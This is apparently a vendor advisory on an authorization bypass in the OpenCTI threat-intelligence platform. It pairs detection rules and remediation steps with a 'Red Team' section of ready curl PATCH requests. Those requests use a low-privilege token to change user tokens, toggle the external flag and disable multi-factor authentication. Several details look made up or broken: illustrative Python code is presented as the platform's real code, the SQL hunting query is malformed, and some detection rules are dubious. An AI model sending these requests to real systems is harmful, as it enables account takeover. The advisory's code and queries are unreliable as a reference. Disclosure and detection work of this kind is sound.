CVE-2025-24887

Executive Summary

CVE-2025-24887 is an authorization bypass vulnerability in the OpenCTI cyber threat intelligence platform, affecting versions 6.4.8 through 6.4.9. A low-privileged authenticated user can bypass the allow/deny lists to modify protected user attributes, including toggling the external flag, changing their own token value, and editing sensitive fields like otp_qr and otp_activated. This can lead to privilege escalation, account takeover, and enumeration of external user accounts. The vulnerability is patched in version 6.4.10.

Supply Chain & Package Security

OpenCTI is a Python-based application distributed via Docker images and PyPI. The vulnerability exists in the core authorization logic, not in a third-party dependency. However, organizations using OpenCTI should verify their deployment version and ensure no custom patches or forks are affected.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. While the CVSS score is moderate, the ability to enumerate external users and modify OTP settings significantly increases the risk in environments where external user identities are sensitive.

Deep Dive & Mechanics

The vulnerability lies in the user attribute update mechanism within OpenCTI. The platform implements an allow/deny list to restrict which attributes a user can modify. However, due to improper validation, a low-privileged user can bypass these lists by crafting a direct API request or manipulating the update payload.

Key affected attributes:

• external flag: Can be toggled on/off, potentially allowing a user to change their account type.
• token: The user's own authentication token can be changed, enabling session hijacking or persistence.
• otp_qr and otp_activated: These OTP-related fields can be modified, allowing an attacker to disable or reset multi-factor authentication.

Attack scenario:

1. An attacker with low-privileged access (e.g., "Observer" role) sends a crafted PATCH request to the user update endpoint.
2. The request includes attributes that should be blocked by the allow list (e.g., otp_activated).
3. The server processes the request without proper authorization checks, modifying the protected attributes.
4. The attacker can then enumerate external users by observing error messages or response differences when attempting to modify their attributes.

Vulnerable vs. Patched Code

Vulnerable Code (version 6.4.8-6.4.9):

# In user update handler
def update_user(user_id, update_data):
    allowed_attributes = ['name', 'email', 'description']
    for attr, value in update_data.items():
        if attr in allowed_attributes:
            # Directly update without checking if user has permission
            setattr(user, attr, value)
        # No else clause to reject disallowed attributes

Patched Code (version 6.4.10):

# In user update handler
def update_user(user_id, update_data, current_user):
    allowed_attributes = ['name', 'email', 'description']
    for attr, value in update_data.items():
        if attr not in allowed_attributes:
            raise PermissionError(f"Attribute {attr} is not modifiable")
        if attr in ['external', 'token', 'otp_qr', 'otp_activated']:
            raise PermissionError(f"Attribute {attr} is restricted")
        setattr(user, attr, value)

The patch adds explicit checks to reject any attribute not in the allow list and specifically blocks sensitive attributes.

Exploitation & Lab Setup

Red Team

Prerequisites:

• OpenCTI instance running version 6.4.8 or 6.4.9
• Low-privileged user credentials (e.g., "Observer" role)

Exploitation Steps:

1. Enumerate external users:

# Attempt to modify external flag on a known user
curl -X PATCH "https://opencti-instance/api/users/known-user-id" \
  -H "Authorization: Bearer <low-priv-token>" \
  -H "Content-Type: application/json" \
  -d '{"external": true}'

2. Modify own token:

# Change own authentication token
curl -X PATCH "https://opencti-instance/api/users/self" \
  -H "Authorization: Bearer <low-priv-token>" \
  -H "Content-Type: application/json" \
  -d '{"token": "new-malicious-token"}'

3. Disable OTP:

# Disable multi-factor authentication
curl -X PATCH "https://opencti-instance/api/users/self" \
  -H "Authorization: Bearer <low-priv-token>" \
  -H "Content-Type: application/json" \
  -d '{"otp_activated": false}'

Blue Team

Detection Steps:

1. Monitor API logs for PATCH requests to /api/users/ endpoints containing unexpected attributes.
2. Alert on changes to external, token, otp_qr, or otp_activated fields.
3. Review user activity logs for privilege escalation attempts.

Hunting Query:

-- Search for unauthorized attribute modifications
SELECT * FROM api_logs
WHERE endpoint LIKE '/api/users/%'
AND method = 'PATCH'
AND request_body LIKE '%external%' OR '%token%' OR '%otp_%'
AND user_role = 'Observer';

Indicators of Compromise (IOCs)

Network IOCs:

• PATCH requests to /api/users/ with unusual attributes in the JSON body
• Repeated 403 errors followed by successful modifications

Host IOCs:

• Unexpected changes to user external flag in the database
• Modified token values for low-privileged users
• Disabled OTP settings without legitimate reason

Log IOCs:

• PermissionError exceptions in application logs (post-patch)
• Audit log entries showing attribute modifications outside allowed list

Detection Engineering

YARA Rule

rule CVE_2025_24887_OpenCTI_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2025-24887 in OpenCTI"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-24887"
    strings:
        $s1 = "external" ascii wide nocase
        $s2 = "otp_activated" ascii wide nocase
        $s3 = "otp_qr" ascii wide nocase
        $s4 = "token" ascii wide nocase
        $s5 = "/api/users/" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3, $s4, $s5)
}

Sigma Rule

title: CVE-2025-24887 OpenCTI Authorization Bypass
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to modify restricted user attributes in OpenCTI
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: opencti
detection:
    selection:
        event: "user.update"
        attributes:
            - "external"
            - "token"
            - "otp_activated"
            - "otp_qr"
    condition: selection
falsepositives:
    - Legitimate admin actions
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-24887 OpenCTI Authorization Bypass Attempt";
    flow:to_server,established;
    content:"PATCH"; http_method;
    content:"/api/users/"; http_uri;
    content:"external"; http_client_body;
    content:"token"; http_client_body;
    content:"otp_activated"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2025-24887;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade OpenCTI to version 6.4.10 or later.
2. If immediate upgrade is not possible, restrict API access to trusted IPs only.
3. Review and rotate all user tokens, especially for low-privileged accounts.
4. Re-enable OTP for all users and verify MFA settings.

Long-term Mitigations:

1. Implement network segmentation to limit OpenCTI API exposure.
2. Enable comprehensive audit logging for all user attribute changes.
3. Deploy WAF rules to block PATCH requests with unexpected attributes.
4. Conduct regular security reviews of authorization logic.

Patch Verification:

# Verify OpenCTI version
docker exec opencti-worker python -c "import opencti; print(opencti.__version__)"
# Expected output: 6.4.10 or higher

Valters IT